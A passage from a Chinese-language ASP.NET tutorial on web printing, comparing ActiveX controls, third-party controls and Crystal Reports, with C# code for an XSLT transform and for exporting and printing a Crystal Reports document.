XPathDocument XDoc = new XPathDocument(Server.MapPath( "Students.Xml" ))
XmlWriter writer = new XmlTextWriter( server.MapPath("Students.html"), System.Text.Encoding.UTF8 )
xslt.Transform( XDoc, null, writer )
writer.Close()
Response.Redirect("Students.html")
利用ActiveX控件打印
利用第三方控件
• 自己开发控件。这种方式很多商用软件采用这种方式,写成控件后已经无所谓是在web中使用还是应用程序中使用了。
• 优点:打印方式非常灵活,基本上程序能做到的web也能做得到。
• 缺点:客户端需要安装组件,部署不是很方便。
使用水晶报表
• 用户仅需要Web 浏览器就可以查看报表
• 报表查看器控件可以是应用程序中众多控件之一。
• 与报表轻松交互
• 用户可将报表导出为Microsoft word 和Excel 格式,以及PDF、HTML 和Crystal Reports for visual Studio .Net格式。
• 可以使用报表控件直接打印
代码如下:
//水晶报表的填充,省略连接代码
myReport ReportDoc = new myReport()
ReportDoc.SetDataSource(ds)
Crv.ReportSource = ReportDoc
//输出为指定类型文件
CrystalDecisions.Shared.DiskFileDestinationOptions DiskOpts = new CrystalDecisions.Shared.DiskFileDestinationOptions()
ReportDoc.ExportOptions.ExportDestinationType = CrystalDecisions.Shared.ExportDestinationType.DiskFile
string strFileName = server.MapPath("Output")
switch (ddlFormat.SelectedItem.Text)
{
case "Rich Text (RTF)":
ReportDoc.ExportOptions.ExportFormatType = CrystalDecisions.Shared.ExportFormatType.RichText
DiskOpts.DiskFileName =strFileName + ".rtf"
break
case "Portable Document (PDF)":
ReportDoc.ExportOptions.ExportFormatType = CrystalDecisions.Shared.ExportFormatType.PortableDocFormat
DiskOpts.DiskFileName = strFileName + ".pdf"
break
case "MS word (DOC)":
ReportDoc.ExportOptions.ExportFormatType = CrystalDecisions.Shared.ExportFormatType.WordForWindows
DiskOpts.DiskFileName = strFileName + ".doc"
break
case "MS excel (XLS)":
ReportDoc.ExportOptions.ExportFormatType = CrystalDecisions.Shared.ExportFormatType.Excel//
DiskOpts.DiskFileName = strFileName + ".xls"
break
default:
break
}
ReportDoc.ExportOptions.DestinationOptions = DiskOpts
ReportDoc.Export()
//打印
// 指定打印机名称
string strPrinterName
strPrinterName = @"Canon Bubble-Jet BJC-210SP"
// 设置打印页边距
PageMargins margins
margins = ReportDoc.PrintOptions.PageMargins
margins.bottomMargin = 250
margins.leftMargin = 350
margins.rightMargin = 350
margins.topMargin = 450
ReportDoc.PrintOptions.ApplyPageMargins(margins)
//应用打印机名称
ReportDoc.PrintOptions.PrinterName = strPrinterName
// 打印 // 打印报表。将startPageN 和endPageN
// 参数设置为0 表示打印所有页。
ReportDoc.PrintToPrinter(1, false,0,0)